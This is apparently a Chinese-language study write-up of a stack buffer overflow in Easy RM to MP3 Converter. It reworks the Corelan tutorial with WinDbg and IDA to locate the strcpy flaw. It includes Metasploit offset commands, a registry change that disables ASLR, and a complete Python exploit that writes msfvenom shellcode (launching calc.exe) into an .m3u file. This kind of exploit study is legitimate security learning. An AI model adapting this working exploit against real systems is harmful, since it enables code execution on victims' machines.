0x00 环境搭建

茅盾说:我从来不梦想,我只是在努力认识现实。所以经典的Corelan Team漏洞利用教程还是要先过一遍的。Part 1只是以一个现实漏洞为例,介绍了栈溢出的原理和基本的利用过程。学习别人的东西我也就不用英文装模作样了,还能提高一下效率/笑哭。

原文中的操作系统为xp en sp3,我在使用WinDbg 6.12的时候发现下载系统Symbol文件时老是链接重置,貌似是微软不再支持xp的符号表了。强迫症所致就换成win7 x86 en sp1来进行后续的实验。用win7就得考虑禁用一些安全机制了,DEP不多说,自Vista往后系统会因为ASLR默认对系统的dll和exe的加载地址随机化,而且同一个模块在不同进程中的加载地址一致,即仅在系统范围内第一次加载时才进行随机化。在win7上修改注册表即可禁用ASLR机制:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"MoveImages"=dword:00000000

原文中为了保证exploit的通用性选择了Easy RM to MP3 Converter软件自带dll中的跳转指令。经过个人的实验后,感觉因为rebase的原因,即使在xp上多次运行软件后,软件和系统的dll的加载地址也会有个别的变化。既然是不考虑安全机制,干脆就在win7上禁用ASLR,使用系统dll中的跳转指令比较稳一点。在搜索ASLR和rebase的过程发现了一些有趣的文章,好奇的同学可以参看参看:

0x01 漏洞定位

原文确定offset后,直接覆盖eip跳转至栈上执行shllcode。其中留下的疑问大多都是和漏洞点相关的,所以此小节通过windbg调试定位漏洞点,不当之处还请指正。

Msf的文档好像又更新了,但确定偏移的工具和文中的一样,我这里也用25000个A和5000个pattern生成payload定位offset:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb [options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000 > pattern.txt

python小脚本生成carsh.m3u后,拖进软件windbg捕获异常:

(ba0.e4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=016105c0 esi=6fff2960 edi=00007532
eip=42396b42 esp=000ffcc4 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
42396b42 ??              ???

由此可确定offset为1107:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb [options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q Aa3A
[*] Exact match at offset 9

Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x42396b42 -l 5000
[*] Exact match at offset 1107

一开始想通过栈帧回溯确定漏洞点,但如同提示一样栈帧可能不靠谱:

0:000> k
ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
000ffcc0 326c4231 0x42396b42
00104620 77d45aa7 0x326c4231
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> u 0x326c4231
326c4231 ??              ???
                  ^ Memory access error in 'u 0x326c4231'

首先想到可能因为eip被覆盖为pattern中的无效地址所以栈回溯有问题,那我找个有效的ret地址:

0:000> lm m kernel*
start    end        module name
0dce0000 0dd2a000   KERNELBASE   (deferred)             
77de0000 77eb4000   kernel32   (deferred)             
0:000> s 77de0000 77eb4000 cc
77de0087  cc 27 eb f1 cc 27 eb f1-cc 2e 93 62 cc 16 eb f1  .'...'.....b....
......
77eb2fd8  cc 3a d0 3a e5 3a 06 3b-0c 3b 34 3b 38 3b 3c 3b  .:.:.:.;.;4;8;<;

将eip覆盖为0x77eb2fd8,栈帧回溯显得更加不靠谱了:

(bdc.c20): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=017f05c0 esi=6fff2960 edi=0000661f
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc              int     3
0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00104604 6172635c 6d2e6873 00007533 0000036a kernel32!WakeConditionVariable+0x13839
00104620 77d45aa7 006cfa18 0000036a 00000000 0x6172635c
0010465c 77d37206 00000000 0000036a 00000000 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 0020024c 0000036a 00000000 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 0010471c 77d2c641 77d2c5fe USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 77d2c5fe d29c9d8a 0000036a USER32!DefWindowProcA+0x6b
0010476c 718a3335 7198dbbc 7198e9e4 00000000 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 00000000 00000000 00000000 MFC42!Ordinal2385+0x2a
0:000> u 6172635c 
6172635c ??              ???
                 ^ Memory access error in 'u 6172635c '

只得另寻蹊径了,因为是禁止了ASLR,所以进程的堆栈地址是不会变的,通过前文的调试可知,覆盖eip后esp的值都为0x000ffcc4,那么缓冲区的起始地址即为0x000ffcc4-25000-1107-4-4=0x000f96c1,也可以通过查看相关地址内容验证,但缓冲区的起始部分可能因为其他的操作而清零了:

0:000> d esp-0n25000-0n1107-0n4-0n4
000f96c1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f96d1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f96e1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f96f1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9701  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9711  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9721  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9731  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d esp-0n4-0n4
000ffcbc  d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43  ./.wCCCCCCCCCCCC
000ffccc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffcdc  43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41  CCCC.AAAAAAAAAAA
000ffcec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffcfc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd0c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd1c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd2c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

此漏洞是个栈溢出漏洞,所以漏洞触发的环节肯定是往缓冲区拷贝过长数据,该缓冲区的起始地址不变,我们就可以下个写操作的硬件断点,虽然断点的触发可能不止一次,但只要我们的payload被copy至缓冲区上,那该断点就是我们的目标断点:

(d18.46c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04a9ff5c ebp=04a9ff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll - 
ntdll!DbgBreakPoint:
77ef40f0 cc              int     3
0:017> ba w 1 0xf96c1
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
0:017> bl
 0 e 000f96c1 w 1 0001 (0001)  0:**** 
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=0000087e edx=00634124 esi=6fff2960 edi=000f96c4
eip=0041e318 esp=000f7394 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1e318:
0041e318 f3ab            rep stos dword ptr es:[edi]
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=00001987 edx=00006625 esi=049ace80 edi=000f96c4
eip=10008d93 esp=000f7378 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll - 
MSRMfilter03!Playlist_FindNextItem+0x53:
10008d93 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1  41 41 41 00 00 00 00 00-00 00 00 00 00 00 00 00  AAA.............
000f96d1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f96e1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f96f1  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9701  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9711  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9721  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9731  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> g
Breakpoint 0 hit
eax=00006625 ebx=00104a1c ecx=000010c1 edx=000f73b4 esi=000fb9dc edi=000f96d4
eip=0041e553 esp=000f7394 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
RM2MP3Converter+0x1e553:
0041e553 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f96d1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f96e1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f96f1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9701  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9711  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9721  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9731  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d 000ffcc4-0n4-0n4
000ffcbc  d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43  ./.wCCCCCCCCCCCC
000ffccc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffcdc  43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41  CCCC.AAAAAAAAAAA
000ffcec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffcfc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd0c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd1c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd2c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

MSRMfilter03!Playlist_FindNextItem+0x53即为漏洞触发点,IDA反汇编该dll可知是使用strcpy直接向栈上copy过长文件数据导致溢出:

.text:10008D40 ; Exported entry   7. Playlist_FindNextItem
.text:10008D40
.text:10008D40 ; =============== S U B R O U T I N E =======================================
.text:10008D40
.text:10008D40
.text:10008D40                 public Playlist_FindNextItem
.text:10008D40 Playlist_FindNextItem proc near         ; DATA XREF: .rdata:off_10034148o
.text:10008D40
.text:10008D40 arg_0           = dword ptr  4
.text:10008D40
.text:10008D40                 push    0C0h
.text:10008D45 ; 5:   sub_10008DE0(5, aDebugPlaylis_3, (unsigned int)aDMpf2_0Mplayer);
.text:10008D45                 push    offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D4A                 push    offset aDebugPlaylis_3 ; "Debug: Playlist_FindNextItem enter. %s("...
.text:10008D4F                 push    5               ; int
.text:10008D51                 call    sub_10008DE0
.text:10008D56 ; 6:   v1 = (const char *)sub_10006850(dword_1004D600, 1);
.text:10008D56                 mov     eax, dword_1004D600
.text:10008D5B                 push    1
.text:10008D5D                 push    eax
.text:10008D5E                 call    sub_10006850
.text:10008D63 ; 7:   if ( v1 )
.text:10008D63                 add     esp, 18h
.text:10008D66                 test    eax, eax
.text:10008D68                 jz      short loc_10008DAE
.text:10008D6A ; 9:     strcpy(a1, v1);
.text:10008D6A                 push    esi
.text:10008D6B                 push    edi
.text:10008D6C                 mov     edi, eax
.text:10008D6E                 or      ecx, 0FFFFFFFFh
.text:10008D71                 xor     eax, eax
.text:10008D73                 push    0CDh
.text:10008D78                 repne scasb
.text:10008D7A ; 10:     sub_10008DE0(5, aDebugPlaylis_4, (unsigned int)aDMpf2_0Mplayer);
.text:10008D7A                 not     ecx
.text:10008D7C                 sub     edi, ecx
.text:10008D7E                 push    offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D83                 mov     edx, ecx
.text:10008D85                 mov     esi, edi
.text:10008D87                 mov     edi, [esp+10h+arg_0]
.text:10008D8B                 push    offset aDebugPlaylis_4 ; "Debug: Playlist_FindNextItem ok. %s(%u)"
.text:10008D90                 shr     ecx, 2
.text:10008D93                 rep movsd
.text:10008D95                 mov     ecx, edx
.text:10008D97                 push    5               ; int
.text:10008D99                 and     ecx, 3
.text:10008D9C                 rep movsb
.text:10008D9E                 call    sub_10008DE0
.text:10008DA3 ; 11:     result = 1;
.text:10008DA3                 add     esp, 10h
.text:10008DA6                 mov     eax, 1
.text:10008DAB                 pop     edi
.text:10008DAC                 pop     esi
.text:10008DAD                 retn
.text:10008DAE ; ---------------------------------------------------------------------------

MSRMfilter03!Playlist_FindNextItem处下断点,sub_10006850调用完后查看eax可知源数据为文件路径加上文件数据内容:

0:000> 
eax=03ecce78 ebx=00104a1c ecx=01810590 edx=00000000 esi=00104613 edi=000ffcbc
eip=10008d66 esp=000f738c ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x26:
10008d66 85c0            test    eax,eax
0:000> d 03ecce78 
03ecce78  5a 3a 5c 31 5c 41 41 41-41 41 41 41 41 41 41 41  Z:\1\AAAAAAAAAAA
03ecce88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03ecce98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03eccea8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03ecceb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03eccec8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03ecced8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03eccee8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d 03ecce78+0n5+0n25000+0n1107
03ed3478  d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43  ./.wCCCCCCCCCCCC
03ed3488  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03ed3498  43 43 43 43 00 73 02 00-48 00 ec 03 88 7d 81 01  CCCC.s..H....}..
03ed34a8  96 21 90 5b 09 73 02 00-48 00 ec 03 88 7d 81 01  .!.[.s..H....}..
03ed34b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03ed34c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03ed34d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03ed34e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

同时,在MSRMfilter03!Playlist_FindNextItem开始处查看返回地址便知调用函数地址和传入的栈参数地址:

(e34.a24): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=045cff5c ebp=045cff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll - 
ntdll!DbgBreakPoint:
77ef40f0 cc              int     3
0:017> bp MSRMfilter03!Playlist_FindNextItem
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll - 
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000f96bc edx=01280168 esi=00104613 edi=000ffcbc
eip=10008d40 esp=000f738c ebp=00104604 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSRMfilter03!Playlist_FindNextItem:
10008d40 68c0000000      push    0C0h
0:000> d esp
000f738c  f6 e3 41 00 bc 96 0f 00-1f 66 00 00 60 29 ff 6f  ..A......f..`).o
000f739c  04 46 10 00 1c 4a 10 00-1c 4a 10 00 00 00 00 00  .F...J...J......
000f73ac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f73bc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f73cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f73dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f73ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f73fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

IDA打开RM2MP3Converter.exe定位到0041e3f6,其动态调用函数指针,并把栈上的变量作为参数传递,在内部stcpy造成了溢出:

.text:0041E3D8 ; 81:   memset(&v53, 0, 0x2200u);
.text:0041E3D8
.text:0041E3D8 loc_41E3D8:
.text:0041E3D8 mov     ecx, 880h
.text:0041E3DD xor     eax, eax
.text:0041E3DF lea     edi, [esp+8928h+var_2200]
.text:0041E3E6 rep stosd
.text:0041E3E8 ; 82:   while ( (*(int (__cdecl **)(char *))((char *)v2 + 25714))(&Str) )
.text:0041E3E8 lea     ecx, [esp+8928h+Str]
.text:0041E3EF push    ecx
.text:0041E3F0 call    dword ptr [ebx+6472h]
.text:0041E3F6 add     esp, 4
.text:0041E3F9 test    eax, eax
.text:0041E3FB jz      loc_41

继续看一下Str的偏移为0x6600,一切都在掌握5+25000+1107=0x6600之中:

.text:0041E2B0
.text:0041E2B0
.text:0041E2B0
.text:0041E2B0 sub_41E2B0 proc near
.text:0041E2B0
.text:0041E2B0 var_8918= dword ptr -8918h
.text:0041E2B0 var_8914= dword ptr -8914h
.text:0041E2B0 var_8910= dword ptr -8910h
.text:0041E2B0 var_890C= dword ptr -890Ch
.text:0041E2B0 ArgList= byte ptr -8908h
.text:0041E2B0 var_6704= byte ptr -6704h
.text:0041E2B0 Str= byte ptr -6600h
.text:0041E2B0 var_65FD= byte ptr -65FDh
.text:0041E2B0 var_4400= byte ptr -4400h
.text:0041E2B0 var_2200= byte ptr -2200h
.text:0041E2B0 arg_0= dword ptr  

在该函数尾部有个retn 4,也算是解决了原文中的一个小提问吧:

.text:0041E9D2 ; 202:   (*(void (**)(void))((char *)v2 + 25710))();
.text:0041E9D2
.text:0041E9D2 loc_41E9D2:
.text:0041E9D2 call    dword ptr [ebx+646Eh]
.text:0041E9D8 ; 203:   result = 1;
.text:0041E9D8 pop     edi
.text:0041E9D9 mov     eax, 1
.text:0041E9DE pop     esi
.text:0041E9DF pop     ebp
.text:0041E9E0 ; 204:   dword_47BEA8 = 1;
.text:0041E9E0 mov     dword_47BEA8, eax
.text:0041E9E5 pop     ebx
.text:0041E9E6 add     esp, 8918h
.text:0041E9EC retn    4
.text:0041E9EC sub_41E2B0 endp
.text:0041E9EC

0x02 漏洞利用

Offset已经确定,jmp esp的地址就在kernel32.dll中找一个:

0:000> lm m kernel*
start    end        module name
0dce0000 0dd2a000   KERNELBASE   (deferred)             
77de0000 77eb4000   kernel32   (export symbols)       C:\Windows\system32\kernel32.dll
0:000> s 77de0000 77eb4000 ff e4
77e9f8f7  ff e4 fa 0b 00 64 1c 00-00 20 0a 0c 00 ff ff ff  .....d... ......
0:000> u 77e9f8f7
kernel32!WakeConditionVariable+0x158:
77e9f8f7 ffe4            jmp     esp
77e9f8f9 fa              cli
77e9f8fa 0b00            or      eax,dword ptr [eax]
77e9f8fc 641c00          sbb     al,0
77e9f8ff 0020            add     byte ptr [eax],ah
77e9f901 0a0c00          or      cl,byte ptr [eax+eax]
77e9f904 ff              ???
77e9f905 ff              ???

直接使用msfvenom千篇一律的老套路弹个计算器呗,shellcode的细节可能后面会抽时间解析一下:

padding = "A" * (25000+1107)
ret = "\xf7\xf8\xe9\x77" # 77e9f8f7

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9"
shellcode += "\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9"
shellcode += "\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03"
shellcode += "\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45"
shellcode += "\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4"
shellcode += "\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d"
shellcode += "\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde"
shellcode += "\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8"
shellcode += "\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05"
shellcode += "\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e"
shellcode += "\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1"
shellcode += "\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a"
shellcode += "\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad"
shellcode += "\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff"
shellcode += "\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31"
shellcode += "\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4"
shellcode += "\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6"
shellcode += "\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc"
shellcode += "\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30"
shellcode += "\x5e\xbd\xbb\x98\xc5\x45\x59\xe5"

payload = padding + ret + shellcode

# with open("pattern.txt", "r") as f:
#     pattern = f.read()

with open("crash.m3u", "w") as f:
    f.write(payload)

最终利用效果图我就不截了,太简单大家都懂的,还有很多的路要走,斗转星移不停留。